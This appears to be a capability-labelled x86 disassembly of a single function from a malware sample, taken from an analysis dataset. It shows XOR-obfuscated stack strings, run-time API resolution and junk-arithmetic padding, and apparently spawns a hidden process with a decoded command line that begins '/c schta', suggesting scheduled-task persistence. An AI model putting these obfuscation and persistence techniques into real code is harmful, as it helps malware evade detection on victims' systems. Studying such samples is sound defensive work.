Function at 0x41ac75
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1d4
push ebx
push ebp
push esi
push edi
mov word [esp + 0x18], 0x5852
xor ecx, ecx
mov byte [esp + 0x1a], 0x4c
mov al, byte [esp + ecx + 0x18]
add al, 0x1b
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 3
jl 0x41ac8d
mov byte [esp + 0x8f], 0
xor ecx, ecx
mov dword [esp + 0x1c], 0x4d484645
mov word [esp + 0x20], 0x5b4c
mov al, byte [esp + ecx + 0x1c]
xor al, 0x29
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, 6
jl 0x41acb9
mov al, byte [0x42ba44]
lea edx, [esp + 0x98]
and al, 0x59
mov byte [esp + 0x9e], 0
lea ecx, [esp + 0x8c]
mov byte [0x42ba3c], al
call fcn.0041d205
mov ecx, dword [0x42ba50]
mov ebx, eax
mov eax, dword [0x42ba5c]
and ecx, 0xd355d45b
mov dword [0x42ba50], ecx
lea edx, [eax - 0x51]
mov byte [0x42ba3c], dl
test ebx, ebx
je 0x41b53d
movzx eax, ax
and ecx, 0xf379a9c4
and eax, 0x4600
mov dword [0x42ba5c], ecx
or eax, 0x27e4a97e
movzx ecx, dl
mov dword [0x42ba50], eax
mov esi, 0x63c2
or word [0x42ba4c], si
mov eax, 0x48e5
imul ecx, eax
push 0x1000
mov word [0x42ba44], cx
call fcn.0040570b
movzx edx, word [0x42ba50]
mov edi, eax
pop ecx
mov ecx, edx
or ecx, 0x2e2
mov word [0x42ba4c], cx
test edi, edi
je 0x41b527
imul eax, edx, 0x3358
and dword [esp + 0x2c], 0
mov word [esp + 0x14], 0x7c
xor eax, 0x9d9c
mov word [0x42ba4c], ax
movzx eax, ax
and eax, 0xc52e300c
mov dword [0x42ba50], eax
mov eax, dword [0x42ba5c]
lea ecx, [eax - 0x34d7]
sub al, 5
and al, 0xfd
mov word [0x42ba44], cx
not al
and al, 0x8e
mov byte [0x42ba3c], al
movzx eax, cx
or eax, 0x95c79b95
mov dword [0x42ba5c], eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.00405d9c
mov dx, word [0x42ba4c]
mov esi, eax
mov eax, 0x6a08
mov cx, dx
sub cx, ax
add esp, 0xc
mov word [0x42ba44], cx
test esi, esi
je 0x41b50a
mov ecx, dword [0x42ba50]
xor ebp, ebp
xor ecx, 0xcfbb4185
mov word [esp + 0x18], 0x20
mov eax, ecx
mov dword [0x42ba50], ecx
or eax, 0x1a72
mov word [0x42ba4c], ax
or al, 0x79
mov byte [0x42ba3c], al
lea eax, [ecx - 0x2579]
mov word [0x42ba44], ax
lea eax, [esp + 0x18]
push eax
push esi
call fcn.00405c00
pop ecx
pop ecx
test eax, eax
je 0x41ae76
movzx eax, byte [0x42ba3c]
mov ecx, esi
add eax, 0x6280933d
mov dword [0x42ba5c], eax
call fcn.004228c6
mov ebp, eax
mov dl, byte [0x42ba44]
mov ecx, dword [0x42ba5c]
xor dl, 0x70
add ecx, 0x1d18
mov word [0x42ba44], cx
movzx ecx, dl
imul eax, ecx, 0x1f
mov byte [0x42ba3c], al
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x18]
push eax
push 0
call fcn.00405d9c
mov cx, word [0x42ba44]
add esp, 0xc
movzx edx, cx
cmp byte [eax], 0x31
lea esi, [edx - 0x221cd53d]
mov dword [0x42ba5c], esi
jne 0x41aee1
or cl, 0x4f
and edx, 0x185f57f9
mov byte [0x42ba3c], cl
mov dword [0x42ba50], edx
lea eax, [esp + 0x2c]
xor esi, 0x7ddc
push eax
lea eax, [esp + 0x18]
mov word [0x42ba44], si
push eax
push 0
call fcn.00405d9c
movzx ecx, byte [0x42ba3c]
mov esi, eax
add esp, 0xc
imul ecx, ecx, 0xf581ff54
mov eax, 0x567d
add word [0x42ba4c], ax
lea eax, [esp + 0x94]
push eax
push esi
mov dword [0x42ba5c], ecx
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
mov dl, byte [0x42ba3c]
mov esi, eax
pop ecx
movzx ecx, dl
mov eax, 0x3b15
and cx, ax
mov dword [esp + 0x1c], esi
mov word [0x42ba44], cx
movzx ecx, dl
movzx eax, dl
imul ecx, ecx, 0x7a9b217
imul edx, eax, 0xd5
mov dword [0x42ba5c], ecx
mov byte [0x42ba3c], dl
test esi, esi
je 0x41b4a7
mov dword [esp + 0x24], 0x8b969e8f
xor ecx, ecx
mov al, byte [esp + ecx + 0x24]
xor al, 0xfb
movzx eax, al
mov word [esp + ecx*2 + 0xa0], ax
inc ecx
cmp ecx, 4
jl 0x41af8a
xor eax, eax
mov ecx, 0x5ef
mov word [esp + 0xa8], ax
movzx eax, dl
imul eax, eax, 0x32b7e32f
push 0x800
push edi
mov dword [0x42ba50], eax
movzx eax, dl
mov edx, 0x1a52823b
add ax, cx
xor ecx, ecx
mov word [0x42ba4c], ax
inc ecx
lea eax, [esp + 0xa8]
push eax
call fcn.00415084
call eax
test eax, eax
je 0x41b46a
push 0x5c
pop eax
mov word [esp + 0x90], ax
xor eax, eax
mov word [esp + 0x92], ax
xor ecx, ecx
mov dword [esp + 0x28], 0x31603cc
movzx eax, byte [esp + ecx + 0x28]
mov edx, 0xff
add ax, 0x62
and ax, dx
mov word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, 4
jl 0x41b00e
mov cx, word [0x42ba4c]
xor eax, eax
mov word [esp + 0xb4], ax
movzx eax, cx
xor cl, 0x85
and eax, 0x71a522e1
mov dword [0x42ba5c], eax
movzx eax, cl
mov ecx, 0x2835
sub ax, cx
mov ecx, dword [0x42ba50]
mov word [0x42ba44], ax
mov al, cl
and ecx, 0xc2da7068
add al, 0x14
mov dword [0x42ba50], ecx
lea ecx, [esp + 0x120]
push 0xf
pop edx
mov byte [0x42ba3c], al
call fcn.004225f6
movzx eax, byte [0x42ba3c]
mov ecx, 0x7b09
xor ax, cx
mov word [0x42ba44], ax
lea eax, [esp + 0x90]
push eax
push edi
call fcn.00405bcb
mov al, byte [0x42ba44]
add al, 0x7f
mov byte [0x42ba3c], al
mov eax, dword [0x42ba5c]
or eax, 0x2849
mov word [0x42ba44], ax
lea eax, [esp + 0x128]
push eax
push edi
call fcn.00405bcb
mov ecx, dword [0x42ba5c]
movzx eax, cl
or ecx, 0xaddcf2db
imul eax, eax, 0xd2
mov dword [0x42ba5c], ecx
mov byte [0x42ba3c], al
mov eax, 0x6dae
add ax, word [0x42ba44]
mov word [0x42ba4c], ax
lea eax, [esp + 0xbc]
push eax
push edi
call fcn.00405bcb
mov al, byte [0x42ba4c]
mov edx, esi
push dword [esp + 0xac]
or al, 0xb6
mov ecx, edi
mov byte [0x42ba3c], al
call fcn.00422781
add esp, 0x1c
test al, al
je 0x41b557
push 0x40
lea eax, [esp + 0xe0]
mov dword [esp + 0xdc], 0x44
push 0
push eax
call fcn.00403960
movzx eax, byte [0x42ba44]
mov cl, 0x25
imul eax, eax, 0x75
add esp, 0xc
xor dword [0x42ba50], 0x5d668c9
xor edx, edx
mov word [esp + 0x108], dx
mov edx, 0x322e7433
sub cl, al
mov byte [0x42ba3c], cl
mov ecx, dword [0x42ba5c]
lea eax, [ecx + 0x57a4]
or ecx, 0xd85ea2d3
mov word [0x42ba4c], ax
or eax, 0xdc08
mov word [0x42ba44], ax
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0xdc]
mov dword [0x42ba5c], ecx
push eax
xor eax, eax
xor ecx, ecx
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push ebp
push edi
inc ecx
call fcn.00415084
call eax
test eax, eax
je 0x41b548
mov dword [esp + 0x38], 0x96c586ca
xor ecx, ecx
mov dword [esp + 0x3c], 0x84918d86
mov dword [esp + 0x40], 0xc5968e96
mov dword [esp + 0x44], 0x809786ca
mov dword [esp + 0x48], 0xc5809184
mov dword [esp + 0x4c], 0xcac5a3ca
mov dword [esp + 0x50], 0x88c58696
mov dword [esp + 0x54], 0x91908b8c
mov dword [esp + 0x58], 0x88cac580
mov dword [esp + 0x5c], 0xd0d4c58a
mov dword [esp + 0x60], 0x9791cac5
mov dword [esp + 0x64], 0x89c0c7c5
mov dword [esp + 0x68], 0xcac5c796
mov dword [esp + 0x6c], 0xc7c58b91
mov dword [esp + 0x70], 0x8b8cb2b9
mov dword [esp + 0x74], 0x96928a81
mov dword [esp + 0x78], 0xb59595a4
mov dword [esp + 0x7c], 0xb9898a8a
mov dword [esp + 0x80], 0xc79689c0
mov al, byte [esp + ecx + 0x38]
xor al, 0xe5
movzx eax, al
mov word [esp + ecx*2 + 0x140], ax
inc ecx
cmp ecx, 0x4c
jl 0x41b27f
xor eax, eax
mov ecx, 0xd743
mov word [esp + 0x1d8], ax
movzx eax, word [0x42ba4c]
imul eax, ecx
mov word [0x42ba44], ax
movzx eax, word [0x42ba4c]
add eax, 0x5a461e99
mov dword [0x42ba5c], eax
lea eax, [esp + 0x120]
push eax
lea eax, [esp + 0x144]
push edi
push eax
call fcn.00422def
movzx ecx, byte [0x42ba3c]
mov esi, eax
mov eax, 0x14d0
add esp, 0xc
and cx, ax
mov word [0x42ba4c], cx
test esi, esi
je 0x41b46a
mov dword [esp + 0x30], 0xe9d7d5f9
xor ecx, ecx
mov word [esp + 0x34], 0xdfca
mov byte [esp + 0x36], 0xd9
mov al, byte [esp + ecx + 0x30]
xor al, 0xba
movzx eax, al
mov word [esp + ecx*2 + 0xb8], ax
inc ecx
cmp ecx, 7
jl 0x41b315
xor eax, eax
xor ecx, ecx
mov word [esp + 0xc6], ax
mov edx, 0x1a52823b
mov eax, dword [0x42ba5c]
inc ecx
or eax, 0xf7d4
mov word [0x42ba44], ax
add eax, 0x2b2e
mov word [0x42ba4c], ax
or al, 0x6e
push 0x800
mov byte [0x42ba3c], al
lea eax, [esp + 0xbc]
push edi
push eax
call fcn.00415084
call eax
test eax, eax
je 0x41b437
mov al, byte [0x42ba44]
xor al, 0xe8
movzx eax, al
imul eax, eax, 0xa3
push 0x44
push 0
mov byte [0x42ba3c], al
mov eax, dword [0x42ba50]
or eax, 0x7f18721d
mov dword [0x42ba5c], eax
lea eax, [esp + 0xe0]
push eax
call fcn.00403960
mov eax, 0xb01a
mov dword [esp + 0xe4], 0x44
or ax, word [0x42ba4c]
add esp, 0xc
mov word [0x42ba44], ax
xor ecx, ecx
xor eax, eax
mov edx, 0x322e7433
mov word [esp + 0x108], ax
inc ecx
movzx eax, byte [0x42ba3c]
imul eax, eax, 0x319271e5
and eax, 0xc56f92ed
imul eax, eax, 0x7a8caba9
mov dword [0x42ba5c], eax
movzx eax, word [0x42ba4c]
xor eax, 0xe768eb7d
mov dword [0x42ba50], eax
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0xdc]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push edi
call fcn.00415084
call eax
mov ecx, dword [0x42ba5c]
movzx eax, cl
xor ecx, 0x48139829
imul eax, eax, 0xd2
push esi
mov dword [0x42ba50], ecx
mov byte [0x42ba3c], al
lea eax, [ecx - 0x5188]
mov word [0x42ba4c], ax
call fcn.004056f0
pop ecx
mov cx, word [0x42ba44]
push dword [esp + 0x1c]
movzx eax, cl
imul eax, eax, 0xec
mov byte [0x42ba3c], al
movzx eax, cx
add eax, 0x1ecfdadf
mov dword [0x42ba50], eax
xor eax, 0x4d68
mov word [0x42ba44], ax
call fcn.004056f0
pop ecx
mov ecx, dword [0x42ba5c]
mov al, cl
sub al, 0x55
mov byte [0x42ba3c], al
imul eax, ecx, 0x3bc340f6
push ebp
mov dword [0x42ba50], eax
movzx eax, word [0x42ba4c]
add eax, 0x61ef0e7d
mov dword [0x42ba5c], eax
call fcn.004056f0
mov al, byte [0x42ba4c]
and al, 0x11
mov byte [0x42ba3c], al
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.00405d9c
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x41ae10
mov cx, word [0x42ba44]
mov dx, word [0x42ba4c]
movzx eax, dx
or cl, 0xd5
xor eax, 0x49eeddbf
mov byte [0x42ba3c], cl
push edi
mov dword [0x42ba50], eax
call fcn.004056f0
pop ecx
movzx eax, byte [0x42ba5c]
imul eax, eax, 0x2e
push ebx
mov byte [0x42ba3c], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1d4
ret
sub dword [0x42ba5c], 0x118a5c3b
jmp 0x41b46a
movzx ecx, word [0x42ba44]
mov eax, 0xa496
imul ecx, eax
mov word [0x42ba4c], cx
mov ecx, dword [0x42ba5c]
add ecx, 0x409e
jmp 0x41b471